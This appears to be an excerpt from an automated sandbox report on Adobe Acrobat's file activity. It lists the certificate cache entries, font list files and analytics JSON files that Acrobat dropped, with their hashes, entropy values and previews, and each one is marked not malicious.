Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7321365340992054
Encrypted:	false
SSDEEP:	3:kkFkld4bRpM/tfllXlE/HT8kgm7l1NNX8RolJuRdxLlGB9lQRYwpDdt:kKR1pM/eT8i7NMa8RdWBwRd
MD5:	D94BF3BED2E5AD89D8780DC9D9D58F21
SHA1:	EEC3A6F3C839254F37524894FA26BF946F2D3A08
SHA-256:	F67FCAC3756DDB4F7E926D96AD8097DF408E775D1E54A42819B323372724B6A7
SHA-512:	DA9CB58CA934DD68618B0EF617C641F0830832BD0389E7948F16FBB5C3636A0AE34B82BA8ADE4C91A48C0CCB42904CC71B78F1F0DB68FE88E418EEC63942F4F4
Malicious:	false
Preview:	p...... ........n....c..(....................................................... ..........W.....S..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKT5NtL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:9NtiDImsLNkPlE99SNxAhUe/3
MD5:	6BF5ABE5B67C03973511927F229D9F2B
SHA1:	32DC3AABC9FBFA96F6BD306FEFCDDA77D3B8BC1E
SHA-256:	9A3E596C3D6A8764336C81A99FADB0DA66BE0ACE3C74E625B28BEDF032EE8723
SHA-512:	FD7897DA04428A3B19E297C292732C59B7800821A29A92071A82B5FB3156ED3E4905EE526781909DCE52113965A226981D72ED8B787A924C24EA1FDF233624C1
Malicious:	false
Preview:	p...... .........\...c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3200

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3200

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.339140256153132
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdgAVltVmnZiQ0YFoAvJM3g98kUwPeUkwRe9:YvXKXHVxmctGMbLUkee9
MD5:	23961668CCBB87A5FCB7869CAE1F13BD
SHA1:	4E90B33E1814F70C1D7C6FA9E3DA2C849DC81C71
SHA-256:	4BE25EC0A97B5693574D10CC09007F0E225DDB202F4C6F525908202395CEE18D
SHA-512:	0F916F9434C83BB573D962231B8908421CBED92464A644695184DE0F56FD58B8E4F5C3912ABF6AF98161FBCAAD93E5CD6C05BC1E1E6F7DD2AA43C09641600626
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a49c90a7-5c96-423a-a176-07203d6dccd0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757900854,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.294200541721694
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdgAVltVmnZiQ0YFoAvJfBoTfXpnrPeUkwRe9:YvXKXHVxmctGWTfXcUkee9
MD5:	406CCC2D32E8736A855B7D3E7980D88D
SHA1:	11C6E972E3599F0397DDEAE75DE5D700AAD695FE
SHA-256:	5C995757124B2CD81302AE7FB33BB282511CB68BDF68B2773D405A9E2E943BAB
SHA-512:	F91815165770700EAE114D73142352A1602BB16D0F870085F862714080B8995268AACB62CA8538F019FBD6638CA96DE0025924A12D21F877C369AC93C47B9BCA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a49c90a7-5c96-423a-a176-07203d6dccd0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757900854,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.271365895566874
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdgAVltVmnZiQ0YFoAvJfBD2G6UpnrPeUkwRe9:YvXKXHVxmctGR22cUkee9
MD5:	0860332DB459AF09A1D08761E287854B
SHA1:	D3F44B1C40AACFF76E182433C05507D25D1D38C3
SHA-256:	C6E0DD2C3349797903E81F8144FF7D428173171239B0461F5374962AE7E42572
SHA-512:	11CC608557582E4A687D3C8012F568DE9872ED155524B6F3BD48407A8FA181FE8A556ABABEFC8A792FB3B85115995A843B41D2EF470C2C67AAE57A1B8C91F97F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a49c90a7-5c96-423a-a176-07203d6dccd0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757900854,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.318312897425349
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdgAVltVmnZiQ0YFoAvJfPmwrPeUkwRe9:YvXKXHVxmctGH56Ukee9
MD5:	11F4C14AEC2116A02D878B8403F69E1F
SHA1:	4FE39C46C664C59227E03D2EDDE74F36196B0F88
SHA-256:	1D7E8E5493464A3BE8F655E6B6EC4B3D2F1042B6007F447E9E600A555C507F3E
SHA-512:	9F97EB7F40D29FD305C0E3FF9510ED7942D6A522778FB0E33AF0D7E5440A62238034212C3098F5DDA485AB24552F109624DF3B3E02E71F9DBD5E757091A24A7C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a49c90a7-5c96-423a-a176-07203d6dccd0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757900854,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686307137030934
Encrypted:	false
SSDEEP:	24:Yv6XDbSpLgE9cQx8LennAvzBvkn0RCmK8czOCCSxpY:Yvnhgy6SAFv5Ah8cv/XY
MD5:	526F331A13AC041FD3532A2B1B9B87A3
SHA1:	2354FA0160ECD2C25A2A37AEE763A08D8D8033D1
SHA-256:	D93D7CE10A5CDF131533FC9DB2A284E36AE35E46A54CCAF99289B680E9B848D5
SHA-512:	D98FCAD47FAD3646990383DEEE4610132A36F495129782345267F4D000FEB6730A74B05839598C85214D3FFE5B26206D0812BCD15037E7745F12968DF369E456
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a49c90a7-5c96-423a-a176-07203d6dccd0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757900854,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.266680134915405
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdgAVltVmnZiQ0YFoAvJf8dPeUkwRe9:YvXKXHVxmctGU8Ukee9
MD5:	430F5C8EFC07839519CA661CB73BC85F
SHA1:	87B5D179C4A7F3D4ECCC113B4C30F934F4E06F76
SHA-256:	9631A9E652C469CAD447C5E54EC522DFBBDF826C605B5CCE0260E6EAA45BCFF2
SHA-512:	CA98CFFBC93B93790C52BA6465E83F2CCD52395F79E5574128A2DF6E66BA64023E07BE3A01E754CADBDD053C96F487805D51C7461824075312E831C70269B9CB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a49c90a7-5c96-423a-a176-07203d6dccd0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757900854,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.270839937340076
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdgAVltVmnZiQ0YFoAvJfQ1rPeUkwRe9:YvXKXHVxmctGY16Ukee9
MD5:	5524D761C3FF49ADC9D07F1E8290EBEA
SHA1:	46AD46EAB17A1A81A748E1B53B9350C85721F3A7
SHA-256:	5932735E0C7ECA09F7CB7C426C0428AE35074C12ACD1254790AAD6C31185B92B
SHA-512:	113EC312BCDFFF7BB1A4CD5409EF03C38316368A6177C776F5415EF6BB6D18AC04BDF31440BF2536D0F2720C62017EA2F8EA396A6E1A03789794B1C03D6373D8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a49c90a7-5c96-423a-a176-07203d6dccd0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757900854,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.277199706658468
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdgAVltVmnZiQ0YFoAvJfFldPeUkwRe9:YvXKXHVxmctGz8Ukee9
MD5:	C39EC0A65DEA2E8F3CC8AE9534862403
SHA1:	8A6FED6596222F3F7865CB9916A68FD30CFEDFD8
SHA-256:	F2A8ADA866DC0E1A1F7713BF11347E72775B5A6FA6D6C2F423EA1DA46C1FC7AE
SHA-512:	FEC78083E2BBE63B2AC9AC333DD10C23FCF49714C08BB6E9F014322B3D6CC7C53132CB4178ADA78F29B75B85616328C662D15DD9206AF2FA87C72786649E6CEF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a49c90a7-5c96-423a-a176-07203d6dccd0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757900854,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.2949519624731405
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdgAVltVmnZiQ0YFoAvJfzdPeUkwRe9:YvXKXHVxmctGb8Ukee9
MD5:	4FDD618D54BEED7A8C6E6D13D9E69D3D
SHA1:	F00DBE23571BE245441CD1C0514C0483FADA3DAE
SHA-256:	33151D4CA01CC2CA52F955E94083A071F452EB579396F25E7A8AE756313473A2
SHA-512:	9AE50B90C37D957D81680A86B623BDE5EA859F23B01DD40FFE30F8FD2F0367F527657421B1C1DD6D1252C352837AD50D9144E68C69E88E5B4E2EAC77C766F541
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a49c90a7-5c96-423a-a176-07203d6dccd0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757900854,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.275629225893681
Encrypted:	false
SSDEEP:	6:YEQXJ2HXdgAVltVmnZiQ0YFoAvJfYdPeUkwRe9:YvXKXHVxmctGg8Ukee9
MD5:	8B6B58E243C89840F8A9877A1E027D18
SHA1:	3AE3EBA8B94BB1E62F2E08002A0FDC8F56EBDEA0
SHA-256:	E0C6F3C9D86288F3B1A314C9AC51AEEB66B6F2E9D761065A5633DA13CA1E51B1
SHA-512:	72B3931743C88F59AD8A3B3D522DCFC96A11854B419C2C97AC801B3BF4FFCEAFAFD34CB411A3CB4087F1B17BB09749B05865D1AF43C4FE76F4526FC6F3C3D9CC
Malicious:	false
